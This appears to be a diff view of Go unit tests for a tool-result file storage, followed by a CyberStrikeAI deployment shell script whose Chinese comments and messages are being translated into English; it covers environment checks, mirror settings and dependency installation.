||||||
|
|
||||||
func TestFileResultStorage_GetResultMetadata(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_003"
|
|
||||||
toolName := "test_tool"
|
|
||||||
result := "Line 1\nLine 2\nLine 3"
|
|
||||||
|
|
||||||
// 保存结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取元数据
|
|
||||||
metadata, err := storage.GetResultMetadata(executionID)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取元数据失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if metadata.ExecutionID != executionID {
|
|
||||||
t.Errorf("执行ID不匹配。期望: %s, 实际: %s", executionID, metadata.ExecutionID)
|
|
||||||
}
|
|
||||||
|
|
||||||
if metadata.ToolName != toolName {
|
|
||||||
t.Errorf("工具名称不匹配。期望: %s, 实际: %s", toolName, metadata.ToolName)
|
|
||||||
}
|
|
||||||
|
|
||||||
if metadata.TotalSize != len(result) {
|
|
||||||
t.Errorf("总大小不匹配。期望: %d, 实际: %d", len(result), metadata.TotalSize)
|
|
||||||
}
|
|
||||||
|
|
||||||
expectedLines := len(strings.Split(result, "\n"))
|
|
||||||
if metadata.TotalLines != expectedLines {
|
|
||||||
t.Errorf("总行数不匹配。期望: %d, 实际: %d", expectedLines, metadata.TotalLines)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证创建时间在合理范围内
|
|
||||||
now := time.Now()
|
|
||||||
if metadata.CreatedAt.After(now) || metadata.CreatedAt.Before(now.Add(-time.Second)) {
|
|
||||||
t.Errorf("创建时间不在合理范围内: %v", metadata.CreatedAt)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_GetResultPage(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_004"
|
|
||||||
toolName := "test_tool"
|
|
||||||
// 创建包含10行的结果
|
|
||||||
lines := make([]string, 10)
|
|
||||||
for i := 0; i < 10; i++ {
|
|
||||||
lines[i] = fmt.Sprintf("Line %d", i+1)
|
|
||||||
}
|
|
||||||
result := strings.Join(lines, "\n")
|
|
||||||
|
|
||||||
// 保存结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试第一页(每页3行)
|
|
||||||
page, err := storage.GetResultPage(executionID, 1, 3)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取第一页失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if page.Page != 1 {
|
|
||||||
t.Errorf("页码不匹配。期望: 1, 实际: %d", page.Page)
|
|
||||||
}
|
|
||||||
|
|
||||||
if page.Limit != 3 {
|
|
||||||
t.Errorf("每页行数不匹配。期望: 3, 实际: %d", page.Limit)
|
|
||||||
}
|
|
||||||
|
|
||||||
if page.TotalLines != 10 {
|
|
||||||
t.Errorf("总行数不匹配。期望: 10, 实际: %d", page.TotalLines)
|
|
||||||
}
|
|
||||||
|
|
||||||
if page.TotalPages != 4 {
|
|
||||||
t.Errorf("总页数不匹配。期望: 4, 实际: %d", page.TotalPages)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(page.Lines) != 3 {
|
|
||||||
t.Errorf("第一页行数不匹配。期望: 3, 实际: %d", len(page.Lines))
|
|
||||||
}
|
|
||||||
|
|
||||||
if page.Lines[0] != "Line 1" {
|
|
||||||
t.Errorf("第一行内容不匹配。期望: Line 1, 实际: %s", page.Lines[0])
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试第二页
|
|
||||||
page2, err := storage.GetResultPage(executionID, 2, 3)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取第二页失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(page2.Lines) != 3 {
|
|
||||||
t.Errorf("第二页行数不匹配。期望: 3, 实际: %d", len(page2.Lines))
|
|
||||||
}
|
|
||||||
|
|
||||||
if page2.Lines[0] != "Line 4" {
|
|
||||||
t.Errorf("第二页第一行内容不匹配。期望: Line 4, 实际: %s", page2.Lines[0])
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试最后一页(可能不满一页)
|
|
||||||
page4, err := storage.GetResultPage(executionID, 4, 3)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取第四页失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(page4.Lines) != 1 {
|
|
||||||
t.Errorf("第四页行数不匹配。期望: 1, 实际: %d", len(page4.Lines))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试超出范围的页码(应该返回最后一页)
|
|
||||||
page5, err := storage.GetResultPage(executionID, 5, 3)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取第五页失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 超出范围的页码会被修正为最后一页,所以应该返回最后一页的内容
|
|
||||||
if page5.Page != 4 {
|
|
||||||
t.Errorf("超出范围的页码应该被修正为最后一页。期望: 4, 实际: %d", page5.Page)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 最后一页应该只有1行
|
|
||||||
if len(page5.Lines) != 1 {
|
|
||||||
t.Errorf("最后一页应该只有1行。实际: %d行", len(page5.Lines))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_SearchResult(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_005"
|
|
||||||
toolName := "test_tool"
|
|
||||||
result := "Line 1: error occurred\nLine 2: success\nLine 3: error again\nLine 4: ok"
|
|
||||||
|
|
||||||
// 保存结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 搜索包含"error"的行(简单字符串匹配)
|
|
||||||
matchedLines, err := storage.SearchResult(executionID, "error", false)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("搜索失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(matchedLines) != 2 {
|
|
||||||
t.Errorf("搜索结果数量不匹配。期望: 2, 实际: %d", len(matchedLines))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证搜索结果内容
|
|
||||||
for i, line := range matchedLines {
|
|
||||||
if !strings.Contains(line, "error") {
|
|
||||||
t.Errorf("搜索结果第%d行不包含关键词: %s", i+1, line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试搜索不存在的关键词
|
|
||||||
noMatch, err := storage.SearchResult(executionID, "nonexistent", false)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("搜索失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(noMatch) != 0 {
|
|
||||||
t.Errorf("搜索不存在的关键词应该返回空结果。实际: %d行", len(noMatch))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试正则表达式搜索
|
|
||||||
regexMatched, err := storage.SearchResult(executionID, "error.*again", true)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("正则搜索失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(regexMatched) != 1 {
|
|
||||||
t.Errorf("正则搜索结果数量不匹配。期望: 1, 实际: %d", len(regexMatched))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_FilterResult(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_006"
|
|
||||||
toolName := "test_tool"
|
|
||||||
result := "Line 1: warning message\nLine 2: info message\nLine 3: warning again\nLine 4: debug message"
|
|
||||||
|
|
||||||
// 保存结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 过滤包含"warning"的行(简单字符串匹配)
|
|
||||||
filteredLines, err := storage.FilterResult(executionID, "warning", false)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("过滤失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(filteredLines) != 2 {
|
|
||||||
t.Errorf("过滤结果数量不匹配。期望: 2, 实际: %d", len(filteredLines))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证过滤结果内容
|
|
||||||
for i, line := range filteredLines {
|
|
||||||
if !strings.Contains(line, "warning") {
|
|
||||||
t.Errorf("过滤结果第%d行不包含关键词: %s", i+1, line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_DeleteResult(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_007"
|
|
||||||
toolName := "test_tool"
|
|
||||||
result := "Test result"
|
|
||||||
|
|
||||||
// 保存结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证文件存在
|
|
||||||
resultPath := filepath.Join(tmpDir, executionID+".txt")
|
|
||||||
metadataPath := filepath.Join(tmpDir, executionID+".meta.json")
|
|
||||||
|
|
||||||
if _, err := os.Stat(resultPath); os.IsNotExist(err) {
|
|
||||||
t.Fatal("结果文件不存在")
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := os.Stat(metadataPath); os.IsNotExist(err) {
|
|
||||||
t.Fatal("元数据文件不存在")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 删除结果
|
|
||||||
err = storage.DeleteResult(executionID)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("删除结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证文件已删除
|
|
||||||
if _, err := os.Stat(resultPath); !os.IsNotExist(err) {
|
|
||||||
t.Fatal("结果文件未被删除")
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := os.Stat(metadataPath); !os.IsNotExist(err) {
|
|
||||||
t.Fatal("元数据文件未被删除")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试删除不存在的执行ID(应该不报错)
|
|
||||||
err = storage.DeleteResult("nonexistent_id")
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("删除不存在的执行ID不应该报错: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_ConcurrentAccess(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
// 并发保存多个结果
|
|
||||||
done := make(chan bool, 10)
|
|
||||||
for i := 0; i < 10; i++ {
|
|
||||||
go func(id int) {
|
|
||||||
executionID := fmt.Sprintf("test_exec_%d", id)
|
|
||||||
toolName := "test_tool"
|
|
||||||
result := fmt.Sprintf("Result %d\nLine 2\nLine 3", id)
|
|
||||||
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("并发保存失败 (ID: %s): %v", executionID, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 并发读取
|
|
||||||
_, err = storage.GetResult(executionID)
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("并发读取失败 (ID: %s): %v", executionID, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
done <- true
|
|
||||||
}(i)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 等待所有goroutine完成
|
|
||||||
for i := 0; i < 10; i++ {
|
|
||||||
<-done
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_LargeResult(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_large"
|
|
||||||
toolName := "test_tool"
|
|
||||||
|
|
||||||
// 创建大结果(1000行)
|
|
||||||
lines := make([]string, 1000)
|
|
||||||
for i := 0; i < 1000; i++ {
|
|
||||||
lines[i] = fmt.Sprintf("Line %d: This is a test line with some content", i+1)
|
|
||||||
}
|
|
||||||
result := strings.Join(lines, "\n")
|
|
||||||
|
|
||||||
// 保存大结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存大结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证元数据
|
|
||||||
metadata, err := storage.GetResultMetadata(executionID)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取元数据失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if metadata.TotalLines != 1000 {
|
|
||||||
t.Errorf("总行数不匹配。期望: 1000, 实际: %d", metadata.TotalLines)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试分页查询大结果
|
|
||||||
page, err := storage.GetResultPage(executionID, 1, 100)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取第一页失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if page.TotalPages != 10 {
|
|
||||||
t.Errorf("总页数不匹配。期望: 10, 实际: %d", page.TotalPages)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(page.Lines) != 100 {
|
|
||||||
t.Errorf("第一页行数不匹配。期望: 100, 实际: %d", len(page.Lines))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,11 +2,11 @@
|
|||||||
|
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
# CyberStrikeAI 一键部署启动脚本
|
# CyberStrikeAI one-click deploy and start script
|
||||||
ROOT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
ROOT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
cd "$ROOT_DIR"
|
cd "$ROOT_DIR"
|
||||||
|
|
||||||
# 颜色定义
|
# Color definitions
|
||||||
RED='\033[0;31m'
|
RED='\033[0;31m'
|
||||||
GREEN='\033[0;32m'
|
GREEN='\033[0;32m'
|
||||||
YELLOW='\033[1;33m'
|
YELLOW='\033[1;33m'
|
||||||
@@ -14,31 +14,31 @@ BLUE='\033[0;34m'
|
|||||||
CYAN='\033[0;36m'
|
CYAN='\033[0;36m'
|
||||||
NC='\033[0m' # No Color
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
# 打印带颜色的消息
|
# Print colored messages
|
||||||
info() { echo -e "${BLUE}ℹ️ $1${NC}"; }
|
info() { echo -e "${BLUE}ℹ️ $1${NC}"; }
|
||||||
success() { echo -e "${GREEN}✅ $1${NC}"; }
|
success() { echo -e "${GREEN}✅ $1${NC}"; }
|
||||||
warning() { echo -e "${YELLOW}⚠️ $1${NC}"; }
|
warning() { echo -e "${YELLOW}⚠️ $1${NC}"; }
|
||||||
error() { echo -e "${RED}❌ $1${NC}"; }
|
error() { echo -e "${RED}❌ $1${NC}"; }
|
||||||
note() { echo -e "${CYAN}ℹ️ $1${NC}"; }
|
note() { echo -e "${CYAN}ℹ️ $1${NC}"; }
|
||||||
|
|
||||||
# 临时源配置(仅在此脚本中生效)
|
# Temporary mirror/proxy settings (only effective in this script)
|
||||||
PIP_INDEX_URL="${PIP_INDEX_URL:-https://pypi.tuna.tsinghua.edu.cn/simple}"
|
PIP_INDEX_URL="${PIP_INDEX_URL:-https://pypi.tuna.tsinghua.edu.cn/simple}"
|
||||||
GOPROXY="${GOPROXY:-https://goproxy.cn,direct}"
|
GOPROXY="${GOPROXY:-https://goproxy.cn,direct}"
|
||||||
|
|
||||||
# 保存原始环境变量(用于恢复)
|
# Save original env vars (for restoration)
|
||||||
ORIGINAL_PIP_INDEX_URL="${PIP_INDEX_URL:-}"
|
ORIGINAL_PIP_INDEX_URL="${PIP_INDEX_URL:-}"
|
||||||
ORIGINAL_GOPROXY="${GOPROXY:-}"
|
ORIGINAL_GOPROXY="${GOPROXY:-}"
|
||||||
|
|
||||||
# 进度显示函数
|
# Progress display helper
|
||||||
show_progress() {
|
show_progress() {
|
||||||
local pid=$1
|
local pid=$1
|
||||||
local message=$2
|
local message=$2
|
||||||
local i=0
|
local i=0
|
||||||
local dots=""
|
local dots=""
|
||||||
|
|
||||||
# 检查进程是否存在
|
# Check if the process exists
|
||||||
if ! kill -0 "$pid" 2>/dev/null; then
|
if ! kill -0 "$pid" 2>/dev/null; then
|
||||||
# 进程已经结束,立即返回
|
# Process already finished; return immediately
|
||||||
return 0
|
return 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -53,7 +53,7 @@ show_progress() {
|
|||||||
printf "\r${BLUE}⏳ %s%s${NC}" "$message" "$dots"
|
printf "\r${BLUE}⏳ %s%s${NC}" "$message" "$dots"
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
# 再次检查进程是否还存在
|
# Re-check whether the process is still running
|
||||||
if ! kill -0 "$pid" 2>/dev/null; then
|
if ! kill -0 "$pid" 2>/dev/null; then
|
||||||
break
|
break
|
||||||
fi
|
fi
|
||||||
@@ -63,21 +63,21 @@ show_progress() {
|
|||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
echo "=========================================="
|
echo "=========================================="
|
||||||
echo " CyberStrikeAI 一键部署启动脚本"
|
echo " CyberStrikeAI Deploy & Start Script"
|
||||||
echo " (默认 HTTPS 自签证书;纯 HTTP 请用: $0 --http)"
|
echo " (HTTPS with self-signed cert by default; plain HTTP: $0 --http)"
|
||||||
echo "=========================================="
|
echo "=========================================="
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 显示临时源配置信息
|
# Show temporary mirror/proxy info
|
||||||
echo ""
|
echo ""
|
||||||
warning "⚠️ 注意:此脚本将使用临时镜像源加速下载"
|
warning "Note: this script uses temporary mirrors to speed up downloads"
|
||||||
echo ""
|
echo ""
|
||||||
info "Python pip 临时镜像源:"
|
info "Python pip temporary mirror:"
|
||||||
echo " ${PIP_INDEX_URL}"
|
echo " ${PIP_INDEX_URL}"
|
||||||
info "Go Proxy 临时镜像源:"
|
info "Go temporary proxy:"
|
||||||
echo " ${GOPROXY}"
|
echo " ${GOPROXY}"
|
||||||
echo ""
|
echo ""
|
||||||
note "这些设置仅在脚本运行期间生效,不会修改系统配置"
|
note "These settings apply only while this script runs and do not change system config"
|
||||||
echo ""
|
echo ""
|
||||||
sleep 1
|
sleep 1
|
||||||
|
|
||||||
@@ -86,19 +86,19 @@ VENV_DIR="$ROOT_DIR/venv"
|
|||||||
REQUIREMENTS_FILE="$ROOT_DIR/requirements.txt"
|
REQUIREMENTS_FILE="$ROOT_DIR/requirements.txt"
|
||||||
BINARY_NAME="cyberstrike-ai"
|
BINARY_NAME="cyberstrike-ai"
|
||||||
|
|
||||||
# 检查配置文件
|
# Check config file
|
||||||
if [ ! -f "$CONFIG_FILE" ]; then
|
if [ ! -f "$CONFIG_FILE" ]; then
|
||||||
error "配置文件 config.yaml 不存在"
|
error "Config file config.yaml not found"
|
||||||
info "请确保在项目根目录运行此脚本"
|
info "Make sure you run this script from the project root"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 检查并安装 Python 环境
|
# Check Python environment
|
||||||
check_python() {
|
check_python() {
|
||||||
if ! command -v python3 >/dev/null 2>&1; then
|
if ! command -v python3 >/dev/null 2>&1; then
|
||||||
error "未找到 python3"
|
error "python3 not found"
|
||||||
echo ""
|
echo ""
|
||||||
info "请先安装 Python 3.10 或更高版本:"
|
info "Install Python 3.10 or later first:"
|
||||||
echo " macOS: brew install python3"
|
echo " macOS: brew install python3"
|
||||||
echo " Ubuntu: sudo apt-get install python3 python3-venv"
|
echo " Ubuntu: sudo apt-get install python3 python3-venv"
|
||||||
echo " CentOS: sudo yum install python3 python3-pip"
|
echo " CentOS: sudo yum install python3 python3-pip"
|
||||||
@@ -110,23 +110,23 @@ check_python() {
|
|||||||
PYTHON_MINOR=$(echo "$PYTHON_VERSION" | cut -d. -f2)
|
PYTHON_MINOR=$(echo "$PYTHON_VERSION" | cut -d. -f2)
|
||||||
|
|
||||||
if [ "$PYTHON_MAJOR" -lt 3 ] || ([ "$PYTHON_MAJOR" -eq 3 ] && [ "$PYTHON_MINOR" -lt 10 ]); then
|
if [ "$PYTHON_MAJOR" -lt 3 ] || ([ "$PYTHON_MAJOR" -eq 3 ] && [ "$PYTHON_MINOR" -lt 10 ]); then
|
||||||
error "Python 版本过低: $PYTHON_VERSION (需要 3.10+)"
|
error "Python version too old: $PYTHON_VERSION (requires 3.10+)"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
success "Python 环境检查通过: $PYTHON_VERSION"
|
success "Python check passed: $PYTHON_VERSION"
|
||||||
}
|
}
|
||||||
|
|
||||||
# 检查并安装 Go 环境
|
# Check Go environment
|
||||||
check_go() {
|
check_go() {
|
||||||
if ! command -v go >/dev/null 2>&1; then
|
if ! command -v go >/dev/null 2>&1; then
|
||||||
error "未找到 Go"
|
error "Go not found"
|
||||||
echo ""
|
echo ""
|
||||||
info "请先安装 Go 1.21 或更高版本:"
|
info "Install Go 1.21 or later first:"
|
||||||
echo " macOS: brew install go"
|
echo " macOS: brew install go"
|
||||||
echo " Ubuntu: sudo apt-get install golang-go"
|
echo " Ubuntu: sudo apt-get install golang-go"
|
||||||
echo " CentOS: sudo yum install golang"
|
echo " CentOS: sudo yum install golang"
|
||||||
echo " 或访问: https://go.dev/dl/"
|
echo " Or visit: https://go.dev/dl/"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -135,63 +135,63 @@ check_go() {
|
|||||||
GO_MINOR=$(echo "$GO_VERSION" | cut -d. -f2)
|
GO_MINOR=$(echo "$GO_VERSION" | cut -d. -f2)
|
||||||
|
|
||||||
if [ "$GO_MAJOR" -lt 1 ] || ([ "$GO_MAJOR" -eq 1 ] && [ "$GO_MINOR" -lt 21 ]); then
|
if [ "$GO_MAJOR" -lt 1 ] || ([ "$GO_MAJOR" -eq 1 ] && [ "$GO_MINOR" -lt 21 ]); then
|
||||||
error "Go 版本过低: $GO_VERSION (需要 1.21+)"
|
error "Go version too old: $GO_VERSION (requires 1.21+)"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
success "Go 环境检查通过: $(go version)"
|
success "Go check passed: $(go version)"
|
||||||
}
|
}
|
||||||
|
|
||||||
# 设置 Python 虚拟环境
|
# Set up Python virtual environment
|
||||||
setup_python_env() {
|
setup_python_env() {
|
||||||
if [ ! -d "$VENV_DIR" ]; then
|
if [ ! -d "$VENV_DIR" ]; then
|
||||||
info "创建 Python 虚拟环境..."
|
info "Creating Python virtual environment..."
|
||||||
python3 -m venv "$VENV_DIR"
|
python3 -m venv "$VENV_DIR"
|
||||||
success "虚拟环境创建完成"
|
success "Virtual environment created"
|
||||||
else
|
else
|
||||||
info "Python 虚拟环境已存在"
|
info "Python virtual environment already exists"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
info "激活虚拟环境..."
|
info "Activating virtual environment..."
|
||||||
# shellcheck disable=SC1091
|
# shellcheck disable=SC1091
|
||||||
source "$VENV_DIR/bin/activate"
|
source "$VENV_DIR/bin/activate"
|
||||||
|
|
||||||
if [ -f "$REQUIREMENTS_FILE" ]; then
|
if [ -f "$REQUIREMENTS_FILE" ]; then
|
||||||
echo ""
|
echo ""
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
note "⚠️ 使用临时 pip 镜像源(仅本次脚本运行有效)"
|
note "Using temporary pip mirror (this script run only)"
|
||||||
note " 镜像地址: ${PIP_INDEX_URL}"
|
note " Mirror URL: ${PIP_INDEX_URL}"
|
||||||
note " 如需永久配置,请设置环境变量 PIP_INDEX_URL"
|
note " For a permanent setting, set the PIP_INDEX_URL env var"
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
info "升级 pip..."
|
info "Upgrading pip..."
|
||||||
pip install --index-url "$PIP_INDEX_URL" --upgrade pip >/dev/null 2>&1 || true
|
pip install --index-url "$PIP_INDEX_URL" --upgrade pip >/dev/null 2>&1 || true
|
||||||
|
|
||||||
info "安装 Python 依赖包..."
|
info "Installing Python dependencies..."
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 尝试安装依赖,捕获错误输出并显示进度
|
# Install deps in background; capture errors and show progress
|
||||||
PIP_LOG=$(mktemp)
|
PIP_LOG=$(mktemp)
|
||||||
(
|
(
|
||||||
set +e # 在子shell中禁用错误退出
|
set +e # disable errexit in subshell
|
||||||
pip install --index-url "$PIP_INDEX_URL" -r "$REQUIREMENTS_FILE" >"$PIP_LOG" 2>&1
|
pip install --index-url "$PIP_INDEX_URL" -r "$REQUIREMENTS_FILE" >"$PIP_LOG" 2>&1
|
||||||
echo $? > "${PIP_LOG}.exit"
|
echo $? > "${PIP_LOG}.exit"
|
||||||
) &
|
) &
|
||||||
PIP_PID=$!
|
PIP_PID=$!
|
||||||
|
|
||||||
# 等待一小段时间,确保进程启动
|
# Brief pause so the process can start
|
||||||
sleep 0.1
|
sleep 0.1
|
||||||
|
|
||||||
# 显示进度(如果进程还在运行)
|
# Show progress while still running
|
||||||
if kill -0 "$PIP_PID" 2>/dev/null; then
|
if kill -0 "$PIP_PID" 2>/dev/null; then
|
||||||
show_progress "$PIP_PID" "正在安装依赖包"
|
show_progress "$PIP_PID" "Installing dependencies"
|
||||||
else
|
else
|
||||||
# 进程已经结束,等待一下确保退出码文件已写入
|
# Process already finished; wait for exit code file
|
||||||
sleep 0.2
|
sleep 0.2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 等待进程完成,忽略 wait 的退出码
|
# Wait for completion; ignore wait exit code
|
||||||
wait "$PIP_PID" 2>/dev/null || true
|
wait "$PIP_PID" 2>/dev/null || true
|
||||||
|
|
||||||
PIP_EXIT_CODE=0
|
PIP_EXIT_CODE=0
|
||||||
@@ -199,74 +199,74 @@ setup_python_env() {
|
|||||||
PIP_EXIT_CODE=$(cat "${PIP_LOG}.exit" 2>/dev/null || echo "1")
|
PIP_EXIT_CODE=$(cat "${PIP_LOG}.exit" 2>/dev/null || echo "1")
|
||||||
rm -f "${PIP_LOG}.exit" 2>/dev/null || true
|
rm -f "${PIP_LOG}.exit" 2>/dev/null || true
|
||||||
else
|
else
|
||||||
# 如果没有退出码文件,检查日志中是否有错误
|
# No exit code file; check log for errors
|
||||||
if [ -f "$PIP_LOG" ] && grep -q -i "error\|failed\|exception" "$PIP_LOG" 2>/dev/null; then
|
if [ -f "$PIP_LOG" ] && grep -q -i "error\|failed\|exception" "$PIP_LOG" 2>/dev/null; then
|
||||||
PIP_EXIT_CODE=1
|
PIP_EXIT_CODE=1
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ $PIP_EXIT_CODE -eq 0 ]; then
|
if [ $PIP_EXIT_CODE -eq 0 ]; then
|
||||||
success "Python 依赖安装完成"
|
success "Python dependencies installed"
|
||||||
else
|
else
|
||||||
# 检查是否是 angr 安装失败(需要 Rust)
|
# Check for angr install failure (needs Rust)
|
||||||
if grep -q "angr" "$PIP_LOG" && grep -q "Rust compiler\|can't find Rust" "$PIP_LOG"; then
|
if grep -q "angr" "$PIP_LOG" && grep -q "Rust compiler\|can't find Rust" "$PIP_LOG"; then
|
||||||
warning "angr 安装失败(需要 Rust 编译器)"
|
warning "angr install failed (Rust compiler required)"
|
||||||
echo ""
|
echo ""
|
||||||
info "angr 是可选依赖,主要用于二进制分析工具"
|
info "angr is optional and mainly used for binary analysis tools"
|
||||||
info "如果需要使用 angr,请先安装 Rust:"
|
info "To use angr, install Rust first:"
|
||||||
echo " macOS: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
echo " macOS: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
||||||
echo " Ubuntu: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
echo " Ubuntu: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
|
||||||
echo " 或访问: https://rustup.rs/"
|
echo " Or visit: https://rustup.rs/"
|
||||||
echo ""
|
echo ""
|
||||||
info "其他依赖已安装,可以继续使用(部分工具可能不可用)"
|
info "Other dependencies are installed; you can continue (some tools may be unavailable)"
|
||||||
else
|
else
|
||||||
warning "部分 Python 依赖安装失败,但可以继续尝试运行"
|
warning "Some Python dependencies failed to install, but continuing"
|
||||||
warning "如果遇到问题,请检查错误信息并手动安装缺失的依赖"
|
warning "If you hit issues, check the errors and install missing packages manually"
|
||||||
# 显示最后几行错误信息
|
# Show last lines of error output
|
||||||
echo ""
|
echo ""
|
||||||
